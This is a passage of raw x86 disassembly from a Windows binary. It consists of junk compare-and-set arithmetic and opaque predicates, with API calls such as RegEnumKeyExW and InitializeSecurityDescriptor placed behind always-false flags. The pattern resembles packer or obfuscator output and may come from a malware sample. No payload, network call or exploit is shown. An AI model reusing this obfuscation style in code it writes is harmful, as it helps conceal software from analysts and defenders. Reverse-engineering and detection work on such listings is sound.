mov dword [ebp - 0x1aec], 1
jmp 0x46dee3
and dword [ebp - 0x1aec], 0
cmp dword [ebp - 0x1aec], 0xc1b0fe2c
ja 0x46defb
mov dword [ebp - 0x1530], 1
jmp 0x46df02
and dword [ebp - 0x1530], 0
mov eax, dword [ebp - 0x80]
cmp dword [ebp - 0x1530], eax
jge 0x46df19
mov dword [ebp - 0x1f40], 1
jmp 0x46df20
and dword [ebp - 0x1f40], 0
mov eax, dword [ebp - 0x1f40]
mov dword [ebp - 0x21c], eax
mov eax, dword [ebp - 0x80]
cmp dword [ebp - 0x21c], eax
jge 0x46df43
mov dword [ebp - 0x1538], 1
jmp 0x46df4a
and dword [ebp - 0x1538], 0
mov eax, dword [ebp - 0x80]
cmp dword [ebp - 0x1538], eax
jl 0x46df61
mov dword [ebp - 0x1af4], 1
jmp 0x46df68
and dword [ebp - 0x1af4], 0
mov eax, dword [ebp - 0x3c]
cmp eax, dword [ebp - 0x1af4]
jg 0x46df7f
mov dword [ebp - 0xadc], 1
jmp 0x46df86
and dword [ebp - 0xadc], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xadc]
mov dword [ebp + eax - 0xa3c], ecx
cmp dword [ebp - 0xadc], 0
ja 0x46dfae
mov dword [ebp - 0x1540], 1
jmp 0x46dfb5
and dword [ebp - 0x1540], 0
mov eax, dword [ebp - 0xe0]
cmp dword [ebp - 0x1540], eax
jle 0x46dfcf
mov dword [ebp - 0x1dcc], 1
jmp 0x46dfd6
and dword [ebp - 0x1dcc], 0
mov eax, dword [ebp - 0x1dcc]
sub eax, 4
cmp eax, 1
jg 0x46dff0
mov dword [ebp - 0x1548], 1
jmp 0x46dff7
and dword [ebp - 0x1548], 0
mov eax, dword [ebp - 0x3c]
cmp dword [ebp - 0x1548], eax
jle 0x46e00e
mov dword [ebp - 0x1afc], 1
jmp 0x46e015
and dword [ebp - 0x1afc], 0
mov eax, dword [ebp - 0xe0]
imul eax, dword [ebp - 0x1afc]
cmp eax, dword [ebp - 0x3c]
jne 0x46e033
mov dword [ebp - 0x1550], 1
jmp 0x46e03a
and dword [ebp - 0x1550], 0
mov eax, dword [ebp - 0x1550]
neg eax
jne 0x46e04d
mov eax, 0xe50714ba
test eax, eax
je 0x46e059
mov dword [ebp - 0x1fd8], 1
jmp 0x46e060
and dword [ebp - 0x1fd8], 0
mov eax, dword [ebp - 0x3c]
cmp eax, dword [ebp - 0x1fd8]
jle 0x46e077
mov dword [ebp - 0x1558], 1
jmp 0x46e07e
and dword [ebp - 0x1558], 0
mov eax, dword [ebp - 0x3c]
cmp dword [ebp - 0x1558], eax
je 0x46e2a1
mov dword [ebp - 0x1570], 0
mov dword [ebp - 0x34a0], 1
mov dword [ebp - 0xe0], 0xfffffff9
jmp 0x46e0ba
mov eax, dword [ebp - 0xe0]
inc eax
mov dword [ebp - 0xe0], eax
cmp dword [ebp - 0xe0], 0x2a
jge 0x46e29c
mov dword [ebp - 0x1b0c], 0xffff
mov dword [ebp - 0x2324], 0xffffffff
mov dword [ebp - 0x1dd4], 1
mov dword [ebp - 0x3c], 0
jmp 0x46e0f5
mov eax, dword [ebp - 0x3c]
inc eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 3
jg 0x46e297
push 4
lea ecx, [ebp - 0x27a0]
call fcn.0042dd3a
mov dword [ebp - 0x6e8], 0
jmp 0x46e125
mov eax, dword [ebp - 0x6e8]
inc eax
mov dword [ebp - 0x6e8], eax
cmp dword [ebp - 0x6e8], 4
jge 0x46e147
push dword [ebp - 0x6e8]
lea ecx, [ebp - 0x27a0]
call fcn.0042de28
mov dword [eax], 0xfffffffb
jmp 0x46e118
mov esi, dword [ebp - 0x21c]
sub esi, dword [ebp - 0x21c]
push 1
lea ecx, [ebp - 0x27a0]
call fcn.0042de28
cmp esi, dword [eax]
je 0x46e170
mov dword [ebp - 0x1b04], 1
jmp 0x46e177
and dword [ebp - 0x1b04], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xa3c]
cmp dword [ebp - 0x1b04], eax
jg 0x46e198
mov dword [ebp - 0x1560], 1
jmp 0x46e19f
and dword [ebp - 0x1560], 0
mov eax, dword [ebp - 0x2324]
cmp dword [ebp - 0x1560], eax
jle 0x46e1b9
mov dword [ebp - 0x24e4], 1
jmp 0x46e1c0
and dword [ebp - 0x24e4], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xa3c]
mov dword [ebp - 0x2c10], eax
mov eax, dword [ebp - 0x1b0c]
mov dword [ebp - 0x1dd4], eax
mov esi, dword [ebp - 0x1dd4]
push 1
lea ecx, [ebp - 0x27a0]
call fcn.0042de28
cmp esi, dword [eax]
jle 0x46e202
mov dword [ebp - 0x1568], 1
jmp 0x46e209
and dword [ebp - 0x1568], 0
mov eax, dword [ebp - 0x1568]
inc eax
cmp eax, dword [ebp - 0x232c]
jge 0x46e224
mov dword [ebp - 0x1f48], 1
jmp 0x46e22b
and dword [ebp - 0x1f48], 0
mov eax, dword [ebp - 0x1b0c]
mov dword [ebp - 0x1570], eax
mov eax, dword [ebp - 0x1570]
cmp eax, dword [ebp - 0x1f48]
jne 0x46e251
mov dword [ebp - 0x1578], 1
jmp 0x46e258
and dword [ebp - 0x1578], 0
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x1578]
mov dword [ebp + eax*4 - 0x2750], ecx
mov byte [ebp - 0x29e], 0
movzx eax, byte [ebp - 0x29e]
test eax, eax
je 0x46e287
push 0x1cbc
push 0
call dword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
lea ecx, [ebp - 0x27a0]
call fcn.0042de0c
jmp 0x46e0ee
jmp 0x46e0ad
jmp 0x46e48f
mov dword [ebp - 0x24ec], 0x1fa0179e
mov dword [ebp - 0x8d4], 0
jmp 0x46e2c4
mov eax, dword [ebp - 0x8d4]
inc eax
mov dword [ebp - 0x8d4], eax
cmp dword [ebp - 0x8d4], 3
jge 0x46e2e0
mov eax, dword [ebp - 0x8d4]
mov dword [ebp + eax*4 - 0x3240], 0x7692afb5
jmp 0x46e2b7
mov dword [ebp - 0xe0], 0
jmp 0x46e2f9
mov eax, dword [ebp - 0xe0]
inc eax
mov dword [ebp - 0xe0], eax
cmp dword [ebp - 0xe0], 0x14
jge 0x46e473
mov dword [ebp - 0x2334], 0xfffffffe
mov dword [ebp - 0x3c], 0
jmp 0x46e320
mov eax, dword [ebp - 0x3c]
inc eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0x30
jg 0x46e33e
mov dword [ebp - 0x25fc], 1
mov eax, dword [ebp - 0x25fc]
mov dword [ebp - 0x2334], eax
jmp 0x46e319
mov dword [ebp - 0x21c], 0x68d1
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x3240]
cmp dword [ebp - 0x21c], eax
jg 0x46e369
mov dword [ebp - 0x1b14], 1
jmp 0x46e370
and dword [ebp - 0x1b14], 0
mov eax, dword [ebp - 0x80]
cmp dword [ebp - 0x1b14], eax
jg 0x46e3db
push 8
pop eax
test eax, eax
je 0x46e389
cmp dword [ebp - 0x21c], 0
cmp dword [ebp - 0x21c], 0
jne 0x46e3a4
mov eax, 0xa00a
test eax, eax
jne 0x46e3a4
and dword [ebp - 0x1580], 0
jmp 0x46e3ae
mov dword [ebp - 0x1580], 1
imul eax, dword [ebp - 0x1580], 0xdb9d
test eax, eax
jne 0x46e3c8
mov dword [ebp - 0x1ddc], 1
jmp 0x46e3cf
and dword [ebp - 0x1ddc], 0
cmp dword [ebp - 0x1ddc], 0x9f6c8506
jb 0x46e3f0
mov eax, 0xfaf72239
test eax, eax
je 0x46e3f0
mov dword [ebp - 0x1588], 1
jmp 0x46e3f7
and dword [ebp - 0x1588], 0
mov eax, dword [ebp - 0x80]
imul eax, dword [ebp - 0x1588]
cmp eax, 2
je 0x46e412
mov dword [ebp - 0x1b1c], 1
jmp 0x46e419
and dword [ebp - 0x1b1c], 0
mov eax, dword [ebp - 0x3c]
cmp dword [ebp - 0x1b1c], eax
jge 0x46e430
mov dword [ebp - 0x1590], 1
jmp 0x46e437
and dword [ebp - 0x1590], 0
mov eax, dword [ebp - 0x80]
cmp dword [ebp - 0x1590], eax
jne 0x46e44e
mov dword [ebp - 0x2064], 1
jmp 0x46e455
and dword [ebp - 0x2064], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x2064]
sub ecx, dword [ebp + eax - 0x3240]
mov dword [ebp - 0x24ec], ecx
jmp 0x46e2ec
mov byte [ebp - 0x353], 0
movzx eax, byte [ebp - 0x353]
test eax, eax
je 0x46e48f
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CompareFileTime]
jmp 0x46ddd8
mov dword [ebp - 0x224], 0xfffffff6
mov dword [ebp - 0x1b2c], 3
mov dword [ebp - 0xad8], 0xd133f29
mov dword [ebp - 0xa44], 0xc0faab39
mov dword [ebp - 0x15b8], 0
mov dword [ebp - 0x24], 0
jmp 0x46e4d6
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 3
jge 0x46e4ec
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x369c], 1
jmp 0x46e4cf
mov dword [ebp - 0x24], 0
jmp 0x46e4fc
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 3
jge 0x46e512
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x35f4], 0
jmp 0x46e4f5
mov dword [ebp - 0x24], 0
jmp 0x46e522
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 3
jge 0x46e538
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x3654], 0xefa025ec
jmp 0x46e51b
mov dword [ebp - 0x24], 0
jmp 0x46e548
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 3
jge 0x46e55e
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x360c], 1
jmp 0x46e541
cmp dword [ebp - 0x224], 0
jne 0x46e77b
imul eax, dword [ebp - 0x224], 0xc4a8
cmp eax, 0x1448
je 0x46e588
mov dword [ebp - 0x1598], 1
jmp 0x46e58f
and dword [ebp - 0x1598], 0
mov eax, dword [ebp - 0x1598]
sub eax, 4
mov dword [ebp - 0xad8], eax
mov eax, dword [ebp - 0xad8]
mov dword [ebp - 0xa44], eax
cmp dword [ebp - 0xa44], 0
je 0x46e5c8
cmp dword [ebp - 0xad8], 0
je 0x46e5c8
mov dword [ebp - 0x1b24], 1
jmp 0x46e5cf
and dword [ebp - 0x1b24], 0
mov eax, dword [ebp - 0x1b24]
sub eax, 3
jne 0x46e5ec
cmp dword [ebp - 0xa44], 0
jne 0x46e5ec
and dword [ebp - 0x15a0], 0
jmp 0x46e5f6
mov dword [ebp - 0x15a0], 1
mov eax, dword [ebp - 0x224]
cmp eax, dword [ebp - 0x15a0]
jg 0x46e610
mov dword [ebp - 0x1de4], 1
jmp 0x46e617
and dword [ebp - 0x1de4], 0
mov eax, dword [ebp - 0x224]
cmp eax, dword [ebp - 0x1de4]
je 0x46e631
mov dword [ebp - 0x6f0], 1
jmp 0x46e638
and dword [ebp - 0x6f0], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x6f0]
mov dword [ebp + eax - 0x369c], ecx
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x6f0]
mov dword [ebp + eax - 0x35f4], ecx
mov eax, dword [ebp - 0x224]
cmp dword [ebp - 0x6f0], eax
jle 0x46e677
mov dword [ebp - 0x15a8], 1
jmp 0x46e67e
and dword [ebp - 0x15a8], 0
mov eax, dword [ebp - 0x224]
cmp dword [ebp - 0x15a8], eax
jg 0x46e698
mov dword [ebp - 0x15b0], 1
jmp 0x46e69f
and dword [ebp - 0x15b0], 0
mov eax, dword [ebp - 0x224]
mov dword [ebp - 0x1b2c], eax
mov eax, dword [ebp - 0x1b2c]
cmp eax, dword [ebp - 0x15b0]
jg 0x46e6c5
mov dword [ebp - 0x1f50], 1
jmp 0x46e6cc
and dword [ebp - 0x1f50], 0
mov eax, dword [ebp - 0x1f50]
mov dword [ebp - 0x15b8], eax
cmp dword [ebp - 0x15b8], 0
jae 0x46e6ed
mov dword [ebp - 0x1b34], 1
jmp 0x46e6f4
and dword [ebp - 0x1b34], 0
mov eax, dword [ebp - 0x224]
cmp dword [ebp - 0x1b34], eax
jne 0x46e70e
mov dword [ebp - 0xb2c], 1
jmp 0x46e715
and dword [ebp - 0xb2c], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xb2c]
mov dword [ebp + eax - 0x3654], ecx
cmp dword [ebp - 0xb2c], 0xd42ad01
jle 0x46e740
mov dword [ebp - 0x15c0], 1
jmp 0x46e747
and dword [ebp - 0x15c0], 0
cmp dword [ebp - 0x15c0], 0xd976
jg 0x46e75f
mov dword [ebp - 0x1dec], 1
jmp 0x46e766
and dword [ebp - 0x1dec], 0
cmp dword [ebp - 0x1dec], 0xff57
jge 0x46e77b
and dword [ebp - 0x15c8], 0
jmp 0x46e785
mov dword [ebp - 0x15c8], 1
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x15c8]
mov dword [ebp + eax - 0x360c], ecx
mov dword [ebp - 0xe4], 0x68ec0ae9
mov dword [ebp - 0xa4c], 1
push 3
lea ecx, [ebp - 0x2a70]
call fcn.0042dd3a
mov dword [ebp - 0x233c], 0xb4f5fdfd
mov dword [ebp - 0x80c], 0
jmp 0x46e7dc
mov eax, dword [ebp - 0x80c]
inc eax
mov dword [ebp - 0x80c], eax
cmp dword [ebp - 0x80c], 3
jge 0x46e7fe
push dword [ebp - 0x80c]
lea ecx, [ebp - 0x2a70]
call fcn.0042de28
mov dword [eax], 9
jmp 0x46e7cf
mov dword [ebp - 0xe4], 0xf
jmp 0x46e817
mov eax, dword [ebp - 0xe4]
dec eax
mov dword [ebp - 0xe4], eax
cmp dword [ebp - 0xe4], 0xffffffe6
jle 0x46eb04
mov dword [ebp - 0xb8], 0xee61
mov dword [ebp - 0x38c], 1
mov dword [ebp - 0x6f8], 0
jmp 0x46e851
mov eax, dword [ebp - 0x6f8]
inc eax
mov dword [ebp - 0x6f8], eax
cmp dword [ebp - 0x6f8], 4
jge 0x46e86d
mov eax, dword [ebp - 0x6f8]
mov dword [ebp + eax*4 - 0x35c4], 1
jmp 0x46e844
mov eax, 0x4aa0d722
test eax, eax
je 0x46e984
mov eax, dword [ebp - 0xb8]
mov dword [ebp - 0x2cb8], eax
mov eax, dword [ebp - 0xe4]
mov dword [ebp - 0x3034], eax
mov eax, dword [ebp - 0xb8]
cmp dword [ebp - 0xb8], eax
jne 0x46e8ac
mov dword [ebp - 0x1b3c], 1
jmp 0x46e8b3
and dword [ebp - 0x1b3c], 0
mov eax, dword [ebp - 0xb8]
mov dword [ebp - 0x15d0], eax
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x15d0]
mov dword [ebp + eax - 0x35c4], ecx
mov eax, dword [ebp - 0xe4]
cmp dword [ebp - 0x15d0], eax
jg 0x46e8eb
mov dword [ebp - 0x1fe0], 1
jmp 0x46e8f2
and dword [ebp - 0x1fe0], 0
mov eax, dword [ebp - 0xb8]
cmp dword [ebp - 0x1fe0], eax
jl 0x46e90c
mov dword [ebp - 0x15d8], 1
jmp 0x46e913
and dword [ebp - 0x15d8], 0
mov eax, dword [ebp - 0xe4]
cmp dword [ebp - 0x15d8], eax
jl 0x46e92d
mov dword [ebp - 0x1b44], 1
jmp 0x46e934
and dword [ebp - 0x1b44], 0
mov eax, dword [ebp - 0x1b44]
mov dword [ebp - 0xa4c], eax
mov eax, 0x6f44401d
sub eax, dword [ebp - 0xa4c]
cmp eax, dword [ebp - 0xb8]
jne 0x46e95f
mov dword [ebp - 0x15e0], 1
jmp 0x46e966
and dword [ebp - 0x15e0], 0
cmp dword [ebp - 0x15e0], 1
jne 0x46e978
mov eax, 0x35211521
test eax, eax
je 0x46e984
mov dword [ebp - 0x1df4], 1
jmp 0x46e98b
and dword [ebp - 0x1df4], 0
mov eax, dword [ebp - 0xb8]
mov ecx, dword [ebp - 0x1df4]
lea eax, [ecx + eax + 0x1718bc69]
sub eax, dword [ebp - 0xe4]
je 0x46e9bb
cmp dword [ebp - 0x38c], 0
je 0x46e9bb
mov dword [ebp - 0x15e8], 1
jmp 0x46e9c2
and dword [ebp - 0x15e8], 0
mov eax, dword [ebp - 0x15e8]
mov dword [ebp - 0x38c], eax
mov dword [ebp - 0x38c], 0x13
jmp 0x46e9e7
mov eax, dword [ebp - 0x38c]
dec eax
mov dword [ebp - 0x38c], eax
cmp dword [ebp - 0x38c], 0xffffffe4
jl 0x46eaff
mov dword [ebp - 0x1b4c], 0x9d6c8400
mov dword [ebp - 0xb8], 0
jmp 0x46ea17
mov eax, dword [ebp - 0xb8]
inc eax
mov dword [ebp - 0xb8], eax
cmp dword [ebp - 0xb8], 3
jg 0x46ea48
mov byte [ebp - 0x2a0], 0
movzx eax, byte [ebp - 0x2a0]
test eax, eax
je 0x46ea46
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_EndPage]
jmp 0x46ea0a
mov esi, dword [ebp - 0x1b4c]
push 2
lea ecx, [ebp - 0x2a70]
call fcn.0042de28
cmp esi, dword [eax]
je 0x46ea74
cmp dword [ebp - 0x1b4c], 0
je 0x46ea74
mov dword [ebp - 0x15f0], 1
jmp 0x46ea7b
and dword [ebp - 0x15f0], 0
mov eax, dword [ebp - 0x15f0]
dec eax
js 0x46ea90
mov dword [ebp - 0x1f58], 1
jmp 0x46ea97
and dword [ebp - 0x1f58], 0
mov eax, dword [ebp - 0x1f58]
shl eax, 1
mov dword [ebp - 0x233c], eax
mov eax, 0xade726f2
test eax, eax
jne 0x46eaba
mov dword [ebp - 0x15f8], 1
jmp 0x46eac1
and dword [ebp - 0x15f8], 0
mov eax, dword [ebp - 0x15f8]
sub eax, dword [ebp - 0xe4]
cmp eax, 0xe2b7
je 0x46eae0
mov dword [ebp - 0x1b54], 1
jmp 0x46eae7
and dword [ebp - 0x1b54], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1b54]
mov dword [ebp + eax - 0x35c4], ecx
jmp 0x46e9da
jmp 0x46e80a
mov eax, dword [ebp - 0xe4]
mov dword [ebp - 0xa4c], eax
lea ecx, [ebp - 0x2a70]
call fcn.0042de0c
mov dword [ebp - 0x1f30], 0xdd1e1e87
mov dword [ebp - 0x1f2c], 0xdd1e1e87
mov dword [ebp - 0x1f28], 0xdd1e1e87
mov dword [ebp - 0x1f24], 0xdd1e1e87
mov dword [ebp - 0x2968], 0x17ca0029
mov dword [ebp - 0x2964], 0x17ca0029
mov dword [ebp - 0x2960], 0x17ca0029
mov dword [ebp - 0x295c], 0x17ca0029
lea ecx, [ebp - 0xb1d]
call fcn.0042de37
push eax
lea eax, [ebp - 0x2958]
push eax
lea eax, [ebp - 0x2968]
push eax
lea ecx, [ebp - 0x37a0]
call fcn.0042de3a
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x3250]
call fcn.0042dde6
mov dword [ebp - 0x1608], 0x5aad8530
mov dword [ebp - 0x2990], 0xfffffffc
mov dword [ebp - 0x298c], 0xfffffffc
mov dword [ebp - 0x2988], 0xfffffffc
mov dword [ebp - 0x2984], 0xfffffffc
lea ecx, [ebp - 0xb2d]
call fcn.0042de37
push eax
lea eax, [ebp - 0x2980]
push eax
lea eax, [ebp - 0x2990]
push eax
lea ecx, [ebp - 0x3768]
call fcn.0042de3a
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x2a88]
call fcn.0042dde6
mov dword [ebp - 0x2344], 1
mov dword [ebp - 0x894], 0
jmp 0x46ec2a
mov eax, dword [ebp - 0x894]
inc eax
mov dword [ebp - 0x894], eax
cmp dword [ebp - 0x894], 2
jge 0x46ec46
mov eax, dword [ebp - 0x894]
mov dword [ebp + eax*4 - 0x4e4], 0xffff
jmp 0x46ec1d
push 4
pop eax
shl eax, 0
push 4
pop ecx
shl ecx, 0
mov ecx, dword [ebp + ecx - 0x4e4]
cmp dword [ebp + eax - 0x4e4], ecx
jg 0x46ec6e
mov dword [ebp - 0x1dfc], 1
jmp 0x46ec75
and dword [ebp - 0x1dfc], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x4e4]
mov dword [ebp - 0x2c18], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x4e4]
sub eax, 0xfffd
cmp eax, 0x9986
jl 0x46ecb6
mov eax, 0x5bbbdebf
test eax, eax
je 0x46ecb6
mov dword [ebp - 0x26d4], 1
jmp 0x46ecbd
and dword [ebp - 0x26d4], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x4e4]
mov dword [ebp - 0x33fc], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x4e4], 0
je 0x46ed05
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x4e4], 0
je 0x46ed05
mov eax, 0x5fa2
test eax, eax
je 0x46ed05
mov dword [ebp - 0x1600], 1
jmp 0x46ed0c
and dword [ebp - 0x1600], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x4e4]
cmp dword [ebp - 0x1600], eax
jne 0x46ed2d
mov dword [ebp - 0x1b5c], 1
jmp 0x46ed34
and dword [ebp - 0x1b5c], 0
mov eax, dword [ebp - 0x1dfc]
mov dword [ebp - 0x1608], eax
mov eax, dword [ebp - 0x1608]
imul eax, dword [ebp - 0x1b5c]
push 4
pop ecx
shl ecx, 0
cmp eax, dword [ebp + ecx - 0x4e4]
je 0x46ed68
mov dword [ebp - 0x1610], 1
jmp 0x46ed6f
and dword [ebp - 0x1610], 0
cmp dword [ebp - 0x1610], 0xb0a6d081
je 0x46ed87
mov dword [ebp - 0x1618], 1
jmp 0x46ed8e
and dword [ebp - 0x1618], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x4e4]
mov dword [ebp - 0x2054], eax
push 3
lea ecx, [ebp - 0x3250]
call fcn.0042de28
mov ecx, dword [ebp - 0x2054]
mov dword [eax], ecx
mov esi, dword [ebp - 0x2054]
add esi, dword [ebp - 0x1618]
push 1
lea ecx, [ebp - 0x2a88]
call fcn.0042de28
mov dword [eax], esi
mov eax, 0xef3c
test eax, eax
je 0x46edf6
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x4e4], 0
je 0x46edf6
mov dword [ebp - 0x1b64], 1
jmp 0x46edfd
and dword [ebp - 0x1b64], 0
cmp dword [ebp - 0x1b64], 6
jl 0x46ee12
mov dword [ebp - 0x1620], 1
jmp 0x46ee19
and dword [ebp - 0x1620], 0
push 0
lea ecx, [ebp - 0x2a88]
call fcn.0042de28
cmp dword [eax], 0xfffffffb
jge 0x46ee37
mov dword [ebp - 0x1e04], 1
jmp 0x46ee3e
and dword [ebp - 0x1e04], 0
mov eax, dword [ebp - 0x1620]
cmp eax, dword [ebp - 0x1e04]
je 0x46ee58
mov dword [ebp - 0x1628], 1
jmp 0x46ee5f
and dword [ebp - 0x1628], 0
mov eax, dword [ebp - 0x1628]
mov dword [ebp - 0x2344], eax
lea ecx, [ebp - 0x2a88]
call fcn.0042de0c
lea ecx, [ebp - 0x3250]
call fcn.0042de0c
mov dword [ebp - 0x418], 0xffffffff
mov dword [ebp - 0x814], 0
mov dword [ebp - 0x2c20], 1
mov dword [ebp - 0x303c], 0
mov dword [ebp - 0x2c28], 0xfffffffb
mov dword [ebp - 0x700], 0
jmp 0x46eecc
mov eax, dword [ebp - 0x700]
inc eax
mov dword [ebp - 0x700], eax
cmp dword [ebp - 0x700], 1
jge 0x46eee8
mov eax, dword [ebp - 0x700]
mov dword [ebp + eax*4 - 0x33a4], 0x33c22515
jmp 0x46eebf
mov dword [ebp - 0x814], 0
jmp 0x46ef01
mov eax, dword [ebp - 0x814]
dec eax
mov dword [ebp - 0x814], eax
cmp dword [ebp - 0x814], 0xfffffff7
je 0x46f00f
mov dword [ebp - 0x708], 0xffffffff
mov dword [ebp - 0x2c30], 0x1c76d7be
mov dword [ebp - 0x3044], 0x8bc588e1
mov dword [ebp - 0x2c3c], 0x934215e1
mov dword [ebp - 0x3404], 0xfffffffa
mov dword [ebp - 0x2c48], 0x8b6b
mov dword [ebp - 0x304c], 0x6ebf4d39
mov dword [ebp - 0x2c54], 0x59b504db
mov dword [ebp - 0x33b4], 0xaa84cbed
mov dword [ebp - 0x2c60], 0xb748abb7
mov dword [ebp - 0x3054], 0xfffffff9
mov dword [ebp - 0x2c6c], 0x2a7e9f21
mov dword [ebp - 0x1b6c], 0xd470
mov dword [ebp - 0x708], 0xa
jmp 0x46efa9
mov eax, dword [ebp - 0x708]
dec eax
mov dword [ebp - 0x708], eax
cmp dword [ebp - 0x708], 0xfffffff2
jl 0x46f00a
mov dword [ebp - 0x340c], 0x52bf
mov dword [ebp - 0x2c78], 0x3ccde6bc
mov dword [ebp - 0x8ec], 0
jmp 0x46efdf
mov eax, dword [ebp - 0x8ec]
inc eax
mov dword [ebp - 0x8ec], eax
cmp dword [ebp - 0x8ec], 2
jge 0x46effb
mov eax, dword [ebp - 0x8ec]
mov dword [ebp + eax*4 - 0x3718], 6
jmp 0x46efd2
mov eax, dword [ebp - 0x1b6c]
dec eax
mov dword [ebp - 0x1b6c], eax
jmp 0x46ef9c
jmp 0x46eef4
push 2
lea ecx, [ebp - 0x2658]
call fcn.0042dd3a
push 3
lea ecx, [ebp - 0x3260]
call fcn.0042dd3a
mov dword [ebp - 0x410], 0xcb13638e
mov dword [ebp - 0x510], 0
jmp 0x46f04c
mov eax, dword [ebp - 0x510]
inc eax
mov dword [ebp - 0x510], eax
cmp dword [ebp - 0x510], 3
jge 0x46f06e
push dword [ebp - 0x510]
lea ecx, [ebp - 0x3260]
call fcn.0042de28
mov dword [eax], 0x3342eb90
jmp 0x46f03f
mov dword [ebp - 0x410], 0
jmp 0x46f087
mov eax, dword [ebp - 0x410]
inc eax
mov dword [ebp - 0x410], eax
cmp dword [ebp - 0x410], 2
jg 0x46f0b7
mov byte [ebp - 0x373], 0
movzx eax, byte [ebp - 0x373]
test eax, eax
je 0x46f0aa
push 1
call dword [sym.imp.USER32.dll_ShowCursor]
cmp dword [ebp - 0x410], 0
je 0x46f0b5
jmp 0x46f0b7
jmp 0x46f07a
mov byte [ebp - 0x2a2], 0
movzx eax, byte [ebp - 0x2a2]
test eax, eax
je 0x46f0e2
push 0
push 0
push 0
push 0
push 0
push 0
push 0x702
push 0
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
lea ecx, [ebp - 0x3260]
call fcn.0042de0c
mov dword [ebp - 0x51c], 0x184c506d
mov dword [ebp - 0x514], 0
jmp 0x46f110
mov eax, dword [ebp - 0x514]
inc eax
mov dword [ebp - 0x514], eax
cmp dword [ebp - 0x514], 2
jge 0x46f12c
mov eax, dword [ebp - 0x514]
mov dword [ebp + eax*4 - 0x37b0], 0xfffffffd
jmp 0x46f103
mov dword [ebp - 0x51c], 0
jmp 0x46f145
mov eax, dword [ebp - 0x51c]
inc eax
mov dword [ebp - 0x51c], eax
cmp dword [ebp - 0x51c], 1
jg 0x46f16f
mov byte [ebp - 0x355], 0
movzx eax, byte [ebp - 0x355]
test eax, eax
je 0x46f16d
push 0x217d
push 0
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
jmp 0x46f138
mov dword [ebp - 0x236c], 0x6717b38e
mov dword [ebp - 0x1660], 0x398070ad
mov dword [ebp - 0x9c], 0x4b666a75
mov dword [ebp - 0x305c], 0xa065c2dd
mov dword [ebp - 0x1638], 1
mov dword [ebp - 0x234c], 0xf7398071
mov dword [ebp - 0x1b84], 0x8b1460de
mov dword [ebp - 0x2354], 0xffffffff
mov dword [ebp - 0x524], 0
jmp 0x46f1d8
mov eax, dword [ebp - 0x524]
inc eax
mov dword [ebp - 0x524], eax
cmp dword [ebp - 0x524], 1
jge 0x46f1f4
mov eax, dword [ebp - 0x524]
mov dword [ebp + eax*4 - 0x108], 0xffffffff
jmp 0x46f1cb
mov eax, dword [ebp - 0x1660]
mov dword [ebp - 0x1630], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1630]
mov dword [ebp + eax - 0x108], ecx
cmp dword [ebp - 0x1630], 0x41e55969
jg 0x46f22b
mov dword [ebp - 0x1f60], 1
jmp 0x46f232
and dword [ebp - 0x1f60], 0
mov eax, dword [ebp - 0x1f60]
mov dword [ebp - 0x9c], eax
mov dword [ebp - 0x9c], 0
jmp 0x46f257
mov eax, dword [ebp - 0x9c]
inc eax
mov dword [ebp - 0x9c], eax
cmp dword [ebp - 0x9c], 0
jg 0x46f4fc
mov dword [ebp - 0x260c], 0x5a97963b
mov dword [ebp - 0x2c84], 0xe649f6d4
mov dword [ebp - 0x1e14], 0xe3ff14eb
mov dword [ebp - 0x52c], 0
jmp 0x46f29b
mov eax, dword [ebp - 0x52c]
inc eax
mov dword [ebp - 0x52c], eax
cmp dword [ebp - 0x52c], 2
jge 0x46f2b7
mov eax, dword [ebp - 0x52c]
mov dword [ebp + eax*4 - 0x2914], 0xffffffff
jmp 0x46f28e
mov eax, dword [ebp - 0x1638]
inc eax
mov dword [ebp - 0x1638], eax
push 0xfffffffffffffff6
pop eax
test eax, eax
je 0x46f4e4
